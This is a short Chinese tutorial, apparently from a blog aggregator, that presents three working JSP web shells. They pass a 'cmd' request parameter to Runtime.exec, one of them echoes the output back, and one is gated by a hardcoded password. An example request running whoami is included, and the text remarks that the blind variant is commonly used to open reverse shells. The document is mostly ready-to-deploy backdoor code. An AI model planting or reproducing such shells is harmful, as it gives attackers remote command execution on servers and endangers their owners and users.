赞
踩
提示:以下是本篇文章正文内容,下面案例可供参考
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
http://localhost:8003/index.jsp?cmd=whoami
不会回显执行的结果只能在后台打印一个地址,常用来反弹shell
代码如下(示例):
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
// System.out.println(process);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%>
<%
if ("password".equals(request.getParameter("pass"))){
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
// System.out.println(process);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
}
%>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。